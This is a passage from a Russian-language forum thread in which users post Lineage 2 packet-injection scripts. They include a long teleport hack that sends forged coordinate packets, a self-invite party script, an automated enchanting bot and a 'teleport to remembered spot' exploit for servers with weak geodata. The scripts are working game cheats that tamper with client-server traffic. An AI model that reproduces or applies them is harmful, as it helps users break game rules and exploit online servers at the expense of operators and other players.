SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 69 00 72 00 67 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 80 00 00 9D 43 FF FF F5 06 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 61 00 68 00 6F 00 72 00 61 00 6B 00 74 00 69 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B6 95 00 00 91 3F FF FF 98 FB FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 70 00 6C 00 69 00 6E 00 74 00 65 00 72 00 73 00 74 00 61 00 6B 00 61 00 74 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('BD 24 01 00 AD 4A FF FF 63 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 61 00 72 00 61 00 64 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7F 4A 02 00 D6 1D FF FF 5C F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('20 3C 02 00 45 1A FF FF 64 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 64 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('03 7B 01 00 F1 14 FF FF 5C F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 61 00 6C 00 69 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('63 74 01 00 AE 56 00 00 C0 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 74 00 69 00 6C 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D4 10 01 00 AF 46 00 00 B4 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 75 00 6E 00 69 00 63 00 6F 00 72 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7D 4F 01 00 0E D5 FE FF 6E F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 70 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B0 47 01 00 10 C7 FE FF 4A F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 62 00 6C 00 72 00 62 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('62 65 01 00 52 AF FE FF 66 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 61 00 64 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1D 4C 01 00 89 3E 00 00 0E F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 61 00 72 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('8B 45 01 00 C2 EB 03 00 9C D3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 6C 00 65 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('5F CD 02 00 10 3F FE FF F6 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 69 00 6C 00 64 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E8 3B 02 00 AD 1A FF FF 62 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 62 00 67 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a); 
buf:=buf+ hstr('65 4C 02 00 B3 0C FF FF C5 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 6E 00 65 00 6C 00 6C 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a); 
buf:=buf+ hstr('D3 32 02 00 17 5C 00 00 B7 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 65 00 73 00 73 00 65 00 72 00 20 00 67 00 69 00 61 00 6E 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);  
buf:=buf+ hstr('75 E0 02 00 48 F5 00 00 D2 E3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6C 00 61 00 75 00 64 00 69 00 61 00 00 00 00 00 00 00 ')) then
begin
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('E3 44 02 00 D1 41 00 00 E6 F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 75 00 6E 00 64 00 75 00 6B 00 31 00 00 00 00 00 00 00 ')) then
begin
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('C8 C4 02 00 E3 1B 00 00 58 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 74 00 69 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('0B 49 01 00 82 31 02 00 B2 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 75 00 6E 00 64 00 75 00 6B 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('F3 C5 00 00 DC 6B 02 00 72 01 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 72 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('6B 28 00 00 5D 38 00 00 6D EF FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 72 00 6B 00 20 00 67 00 75 00 61 00 72 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('77 0B 00 00 4C AC 00 00 5C F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 75 00 6E 00 64 00 75 00 6B 00 33 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('7F FE FF FF 9F AC 00 00 26 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 61 00 6C 00 69 00 6E 00 67 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('8E 3A 02 00 6C 6D 00 00 30 F7 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 72 00 65 00 61 00 70 00 6B 00 61 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);   
buf:=buf+ hstr('8E 3A 02 00 6C 6D 00 00 30 F7 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 61 00 69 00 65 00 6E 00 61 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('62 4D 01 00 D6 40 00 00 0D F9 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 73 00 68 00 00 00 00 00 00 00 ')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('6A 9C 02 00 B0 A6 00 00 E1 EC FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 68 00 61 00 6B 00 69 00 72 00 69 00 73 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('F5 D4 01 00 5F 24 01 00 B9 F6 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 6D 00 72 00 75 00 74 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('78 C4 02 00 F1 E2 00 00 73 F0 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('FF 3F 02 00 4B 58 00 00 37 F8 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 6F 00 6F 00 64 00 79 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('17 D7 02 00 67 4B 00 00 DF F2 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 6E 00 64 00 72 00 61 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('E6 46 02 00 0F 64 00 00 B4 F7 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 72 00 69 00 74 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('B7 60 02 00 71 2F 01 00 82 F4 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 6C 00 74 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('DF 46 01 00 3C D9 00 00 17 FA FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 65 00 77 00 65 00 6C 00 32 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('72 F8 00 00 65 79 00 00 5D F1 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 6B 00 65 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('07 C0 FE FF 9F 57 02 00 99 F3 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 65 00 77 00 65 00 6C 00 31 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('A3 C2 FE FF 4C 27 01 00 D6 F2 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 68 00 65 00 6F 00 64 00 72 00 69 00 63 00 00 00 00 00 00 00')) then
begin 
buf:=#$28;
WriteD(a);    
buf:=buf+ hstr('6E 00 02 00 CF BF 01 00 72 F1 FF FF');
SendToClient; 
buf:=#$30;
SendToServerEX(Name);
end;
end;
end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
пати кач ( кач сам с собой)

Код:
HTML:
var invite: integer;
procedure Init;
begin
end;
procedure Free;
begin
end;
begin
if fromserver and (pck[1]=#$39) then
begin
invite:=1;
buf:= #$2A#$01#$00#$00#$00;
SendToServer;
end;
if fromserver and (pck[1]=#$5E) and (invite=1) then
begin
buf:=#$2A#$01#$00#$00#$00;
SendToServer;
end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
АвТОзаТоЧкА--- авто-gracia_final
код
HTML:
//  авто-gracia_final +1. 
//  хроники  Грация ФИНАЛ
//  Соцдействие ДА открыть управление скриптом
//  в пати чат пишем уровень заточки
//  можно менять в процесе работы скрипта
//  заточить один предмет чтоб запомнить чем и что точить
//  дальше скрипт сам точит до указаного уровня заточки
//  все предметы ОДИНАКОВЫЕ  с  ПЕРВЫМ  заточеным 
//  предметы точатся добавляя по +1 на предмет 
//  т.е если у вас предметы с  одинаковым уровнем заточки например 0
//  будет точится первый предмет до +1, потом второй до +1 и т.д
//  если предмет при заточки блесс скрол слетел на 0 или на уровень как у вас на сервере
//  то будет точиться он пока несравняется с остальными
//   и т.д
//  пока недостигнете заданого уровня заточки
//  если предметов более 1 то один остается 
//  АВТОР ==>>>> TAMBIK
program Enchant_gracia;
   const
//===========================================

   myname='TAMBIK'; //<<== пишем свой НИК

   max=80;//<<== колличество ячеек в рюкзаке

    
//===========================================
    HTML='<html><body><center>'+
 '<img src="L2UI_CH3.herotower_deco width=256 height=32>'+
 '<img src="L2UI.SquareWhite" width=260 height=1>'+
 '<font color="04fbfb">Cкрипт автозаточка для gracia_final</font><br>'+
 '<img src="L2UI.SquareWhite" width=260 height=1>'+
 '<img src="L2UI.Squarewidth" width=260 height=1>'+
 '<font color="04fbfb">системные сообщения</font><br>'+
 '<button value="в к л" action="bypass -3"      width=80 height=15  back="sek.cbui94"  fore="sek.cbui92">'+
 '<img src="L2UI.SquareWhite" width=60 height=1>'+
 '<img src="L2UI.Squarewidth" width=60 height=4>'+
 '<font color="04fbfb">             </font><br>'+
 '<button value=" в ы к л " action="bypass -4" width=80 height=15  back="sek.cbui94"  fore="sek.cbui92">'+
 '<img src="L2UI.SquareWhite" width=60 height=1>'+
 '<img src="L2UI.Squarewidth" width=60 height=4>'+ 
 '<font color="04fbfb">             </font><br>'+
 '<img src="L2UI.SquareWhite" width=260 height=1>'+
 '<img src="L2UI.Squarewidth" width=260 height=4>'+
 '<font color="04fbfb">АВТОЗАТОЧКА</font><br>'+
 '<font color="04fbfb">             </font><br>'+
 '<button value="П У С К" action="bypass  -pusk"     width=100 height=15 back="sek.cbui94"  fore="sek.cbui92">'+
 '<img src="L2UI.SquareWhite" width=60 height=1>'+
 '<img src="L2UI.Squarewidth" width=60 height=4>'+
 '<font color="04fbfb">          </font><br>'+
 '<button value="С Т О П" action="bypass  -stop"     width=100 height=20 back="sek.cbui94"  fore="sek.cbui92">'+
 '<img src="L2UI.SquareWhite" width=60 height=1>'+
 '<img src="L2UI.Squarewidth" width=60 height=4>'+ 
 '<font color="04fbfb">          </font><br>'+
 '<img src="L2UI.SquareWhite" width=260 height=1>'+
 '<img src="L2UI.Squarewidth" width=260 height=4>'+
 '<img src="L2UI.SquareWhite" width=60 height=1>'+
 '<img src="L2UI.Squarewidth" width=60 height=4>'+ 
 '<font color="LEVEL">Автор TAMBIK</font><br>'+
 '</center></body></html>';
//==========================================
  var
    BaseItems:array[1..max,1..11] of integer;
    Baselvl:array[0..max] of integer;
    Timer01: TTimer;
    Timer02: TTimer;
    Timer03: TTimer;

    mytext:string; 
    Bypass:string; 
    autostart,start,autoMsg:Boolean;
    flag : Boolean;
     t,l,d,x,y,ii,i:integer;

    ListSize,ItemEnch:word; 
    textID,itemID:integer;
    enchantObjectID:integer;
    enchantID,skrolObjectID:integer; 
    ItemOID,objectOID:integer;  
    sumskrol,sumitemID,sumitem:integer;
    maxlvl,minlvl,enchlvl,selectlvl:integer;
    skrolID,skrolObj:integer;
    minEnchitem:integer;
     object,index : integer;
//==========================================
//  ShowHTML(HTML);
Procedure ShowHTML( _html : string );
begin
  buf:=#$19;
  WriteD(5);
  WriteS(_HTML);
  SendToClientEx(myname);
   end;
//========================
procedure ActionUse;
 begin
     Bypass:=ReadS(2);
     case Bypass of
  '-3':begin  autoMsg:=true; end;
  '-4':begin  autoMsg:=false; end;
  '-pusk':begin 
   if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' );
   if (maxlvl=0) then SendMsg2( '  Неуказан Уровень Заточки  !' );
    SendMsg2( '_______________________________' );
   if autostart and  (maxlvl>0)  then begin
        buf:=hstr('14');
        SendToServerEx(myname);
      SendMsg2( '        ! ! !   П О Е Х А Л И    ! ! !' );
      SendMsg2( '_______________________________' );
      start:=true;
      Timer01.enabled:=true;// вкл таймер выбора свитка
       end;
     end;
  '-stop':begin
     deleteBase;
     start:=false;
     enchantID:=0;
     ItemEnch:=0;
      minlvl:=0;
     sumitem:=0;
     Timer01.enabled:=false;
     Timer02.enabled:=false;
     Timer03.enabled:=false;
    SendMsg2( '         ! ! !   С Т О П   ! ! ! ' );
    stopselectskrol;
    index :=0;
 for ii:=1 to max do 
  Baselvl[ii]:=-1;
   end;
 end;
end;
//===========================================
procedure SendMsg2(msg:string);
begin 
  buf:=#$4A;
  WriteD(0);
  WriteD(3);
  WriteS('');
  WriteS(msg);
  SendToClientEx(myname);
end;
//===========================================
procedure Resultmaxlvl;
var
  i:integer;
begin
    i:=2;
    mytext:=ReadS(i);
    textID:=ReadD(i);
 if (textID=3)  then begin
     maxlvl:=StrToInt(mytext);
SendMsg2( '  установлен Уровень Заточки: '+IntToStr(maxlvl)+'' ); 
end;
end;
//.............................................................................. 
procedure ItemList;
var
  i, j, k: integer;
  count,x:integer; 
 begin
   count:=0;
   x:=0;
   y:=0;
   j:=4; //пропускаем дo ListSize
  ListSize:=ReadH(j); 
   count:=round((Length(pck)-5) / ListSize);// длина блока
  for i:=1 to ListSize do
  if (i<=ListSize) then begin
      BaseItems[i,1]:=ReadH(j);  //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
      BaseItems[i,2]:=ReadD(j);  //ObjectID
      BaseItems[i,3]:=ReadD(j);  //ItemID
      BaseItems[i,4]:=ReadD(j);  //LocationSlot
      BaseItems[i,5]:=ReadD(j);  //  Amount: 
      BaseItems[i,6]:=ReadD(j);  //  Amount: 
      BaseItems[i,7]:=ReadH(j);//ItemType2
      BaseItems[i,8]:=ReadH(j);// CustomType1
      BaseItems[i,9]:=ReadH(j);//isEquipped: 
      BaseItems[i,10]:=ReadD(j);//BodyPart
      BaseItems[i,11]:=ReadH(j);//EnchantLevel
             inc(x); // счетчик 
            //y := пропускаем до следущего блока
    y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета
            inc(j,y); 
  end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями
         addenchantitemID;
   
if (skrolID>0)  then begin
    sumskrol:=Getitem(skrolID,3,5);//считаем SKROL
if autoMsg  then SendMsg2 ('   SKROL ... c  ID : '+IntToStr(skrolID)+' =  '+IntToStr(sumskrol)+' ШТ ');
if start and (0<sumskrol) then  Timer01.enabled:=true;// вкл таймер выбора свитка
if (sumskrol=0)  then  begin
   SendMsg2 ('........ НЕДОСТАТОЧНО  SKROL........  ');
  SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ ');
   start:=false;
 end;
end;
end;
//=============================
procedure EnchantResult;
  begin
   deleteBase;
   index :=0;
 for ii:=1 to max do 
  Baselvl[ii]:=-1;
  end;
//=============================
procedure deleteBase;
var
  i,j,k:integer;  
 begin
    for i:=1 to max do
      BaseItems[i,1]:=0;
      BaseItems[i,2]:=0; //ObjectID  
      BaseItems[i,3]:=0;  //ItemID
      BaseItems[i,4]:=0;  
      BaseItems[i,5]:=0; 
      BaseItems[i,6]:=0; 
      BaseItems[i,7]:=0;
      BaseItems[i,8]:=0;
      BaseItems[i,9]:=0;
      BaseItems[i,10]:=0;
      BaseItems[i,11]:=0;
       inc(j,y);  
end;         
//===========================
function Getitem(Obj,up,down:integer): integer; 
var 
  i: integer;
begin
 Result:= 0; //В начале у нас 0
  for i:=1 to max do
    if (BaseItems[i,up]=Obj) then begin
      Result:=BaseItems[i,down];
   end;
end;
//===========================
function Getsumitem(Obj,up,down:integer): integer; 
var 
  i: integer;
begin
 Result:= 0; //В начале у нас 0
  for i:=1 to max do
    if (BaseItems[i,up]=Obj)  then begin
      Result:=Result+BaseItems[i,down];
   end;
end;
//=============================

// добавляем в базу  ЛВЛ заточки
 procedure  addenchantitemID;
 begin
         for i:=1 to max do
 if (BaseItems[i,3] = ItemOID)  then  begin
        enchlvl:=BaseItems[i,11];
    flag:=false; 
           for ii:=1 to max do
   if (Baselvl[ii] = enchlvl) then  begin // текущий  уже есть в массиве,
       flag := true;
         BREAK; { прекращаем цикл }
           end;
 if (flag = false) then begin
        for ii:=1 to max do 
   if (Baselvl[ii]=-1) then begin // добавим   в массив,
        Baselvl[ii]:=enchlvl;  
          index :=ii;
       BREAK; { прекращаем цикл }
  end;
end;
end;
end;
//========================== 
 procedure ChooseInventory;
var
 OID, lvl:integer;
begin
  if (ItemOID>0) and start then  begin
           sumitemID:=0;
      sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки
              minlvl:=Baselvl[1];
       for ii:=2  to   index  do   
  if  Baselvl[ii] < minlvl   then  
        minlvl:=Baselvl[ii];// мин заточка 
         objectOID:=0;
 if (sumitemID > sumitem) then objectOID:=GetObjectID(ItemOID);//находим по ItemID  предмет с ObjectID
 if (objectOID = 0)  then begin
              start:=false;
      SendMsg2('Больше предметов c ID : '+IntToStr(ItemOID)+' для заточки НЕТ ! ! ! ! ');
           lvl:=0;
         for i:=1 to max do
  if (BaseItems[i,3] = ItemOID) then  begin
        OID:=BaseItems[i,2];
        lvl:=BaseItems[i,11];
SendMsg2('Предмет  c ID : '+IntToStr(ItemOID)+'  с ObjectID : '+IntToStr(OID)+'  заточен до : '+IntToStr(lvl)+' ');
   end;
 end;
end;
end;
//=========================
//находим enchantID предмета по  ItemID для заточки
function GetObjectID(ItemOID:integer) : integer;
var
  ID,i:integer;
begin
enchantID:= 0;
  ItemEnch:=0;  
  Result:= 0;
 if autoMsg  then   SendMsg2( '*******************************************' );
 if (ItemOID>0) then begin
 if autoMsg  then  SendMsg2 ('    ищем ObjectID предмета с ID  :  ' +IntToStr(ItemOID)+' ');
 if autoMsg  then  SendMsg2('------------------------------' );

     for i:=1 to max do
 if (BaseItems[i,3] = ItemOID) and (BaseItems[i,11] = minlvl) and (BaseItems[i,11] < maxlvl) then begin
     enchantID:=BaseItems[i,2];
      Result:=BaseItems[i,2];
     ItemEnch:=BaseItems[i,11];
if autoMsg  then  SendMsg2('   ..... найден предмет для заточки  ..... ');
if autoMsg  then  SendMsg2(' ID  : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+'   заточен до : '+IntToStr(ItemEnch)+'');
if autoMsg  then  SendMsg2('------------------------------' );
     if (enchantID>0) then  Timer02.enabled:=true;
      Break;  // прерываем дальнейший перебор массива.
 end;
end;
 end;
//==========================
procedure stopselectskrol;
begin
  buf:=hstr('D04E00');
 SendToServerEx(myname);
end;
//===================================
procedure OnTimer01(Sender: TObject);
begin
  buf:=#$19;
  WriteD(skrolObjectID);
  WriteD(0);
  SendToServerEx(myname);
 Timer01.enabled:=false;
   end;
//--------------------------
procedure OnTimer02(Sender: TObject);
begin
   buf:=hstr('D04C00');
   WriteD(enchantID);
   SendToServerEx(myname);
   Timer02.enabled:=false;
   Timer03.enabled:=true;
   end;
procedure OnTimer03(Sender: TObject);
begin 
   buf:=#$5F;
   WriteD(enchantID);
   WriteD(0);
   SendToServerEx(myname);
   Timer03.enabled:=false;
if autoMsg  then SendMsg2('      .....    Точим Предмет    ..... ');
if autoMsg  then SendMsg2( ' ID :  '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+'  -  до  :  '+IntToStr(maxlvl)+'' );
if autoMsg  then SendMsg2( '_______________________________' );
 end;
//-----------------------------------------
procedure Init;
begin
  minlvl:=0;    maxlvl:=0;  enchlvl:=0; ItemEnch:=0;
  sumskrol:=0;  sumitem:=0; sumitemID:=0;
  objectOID:=0; object:=0;  enchantObjectID:=0;
  enchantID:=0; skrolObjectID:=0;
  skrolID:=0;   itemID:=0; ItemOID:=0;
  t:=0;l:=0;d:=0;index :=0;
   
   flag:=false; 
   autostart:=false;
   start:=false;
   autoMsg:=true; 

   Timer01:=TTimer.Create(nil);
   Timer01.OnTimer:[email protected];
   Timer01.enabled:=false;
   Timer01.interval:=400; //<<== время  выбора свитка
 
   Timer02:=TTimer.Create(nil);
   Timer02.OnTimer:[email protected];
   Timer02.enabled:=false;
   Timer02.interval:=400; //<<== время  выбора предмета

   Timer03:=TTimer.Create(nil);
   Timer03.OnTimer:[email protected];
   Timer03.enabled:=false;
   Timer03.interval:=4500; //<<== время между заточкой  

 SendMsg2( '   в пати чат пишем уровень заточки' );
 SendMsg2( '    заточить предмет   !   !' );
 SendMsg2( '  Соцдействие  ДА - откр окно управления ' );
 SendMsg2( '------------------------------------- ' );
   buf:=hstr('14');
   SendToServerEx(myname);
  for ii:=1 to max do 
      Baselvl[ii]:=-1;
 end;
procedure Free;
begin
  Timer01.free;
  Timer02.free;
  Timer03.free;
end;
 //=========================
begin
//не обрабатываем пустые пакеты
  if pck='' then exit; 
 if FromServer and (pck[1]=#$87) then  EnchantResult;
 if FromServer and (pck[1]=#$11) then ItemList;
 if FromServer and (pck[1]=#$7C) then ChooseInventory;
 if FromClient and (pck[1]=#$49) then begin Resultmaxlvl;pck:='';exit;end;     //
 if FromClient and (pck[1]=#$56) and (ReadD(2)=24) then begin
           ShowHTML(HTML); pck:='';exit; end; 
 if FromClient and (pck[1]=#$23)  then begin ActionUse; pck:='';exit;end;     //
begin
 if (start=false) and FromClient then   
    case pck[1] of
 #$19:begin 
        stopselectskrol;
        buf:=hstr('14');
        SendToServerEx(myname);
      t:=1;
    skrolObjectID:=ReadD(2);
    skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID
    SendMsg2(' .................' );
    SendMsg2('   активирован SKROL  ID : '+IntToStr(skrolID)+' ' );
    SendMsg2(' .................' );
           end;
 #$D0:if  ReadH(2)=76 then  begin
       l:=1;
       SendMsg2('    окно выбора предмета ' );
       SendMsg2(' .................' );
     end;
 #$5F:begin
       d:=1;
    enchantObjectID:=ReadD(2);
    if  (t=1) and (l=1) and (d=1) then begin
        autostart:=true;
       ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID
    SendMsg2 ('  ID предмета :  '+IntToStr(ItemOID)+'   для заточки');
  sumitemID:=0;
  sumitem:=0;
  sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки
  SendMsg2 (' Предметов для заточки с  ID :  '+IntToStr(ItemOID)+'  =  '+IntToStr(sumitemID)+' ШТ ');
       if (sumitemID > 1) then sumitem:=1;
       stopselectskrol;
      end;
     end;
   end;
end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Скрипт на тп , то место которое запомнили(для серверов с тупой гео) Тестил на Interlude
Взято c сoderx.ru
Код:
HTML:
var
// переменная
x:integer; y:integer;     
a:integer; b:boolean;  z:integer;
procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then 
begin
a:=ReadD(2); x:=ReadD(6);
y:=ReadD(10); z:=ReadD(14);
SendMsc('Запомнен ObjectID = '+inttostr(a));
SendMsc('Запомнен x = '+inttostr(x));
SendMsc('Запомнен y = '+inttostr(y));
SendMsc('Запомнен z = '+inttostr(z));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6F 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
Writed(x);
Writed(y); 
Writed(z);
SendToClient;
end;
end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
Суть скрипта в том, что когда тебя рекают - человеку в ПМ пишет какой-то анекдот, так можно ходить по городу и писать "Рек-Анекдот в ПМ"
Код:
HTML:
//by VORON
//скрипт который рассказывает анекдоты без бана:
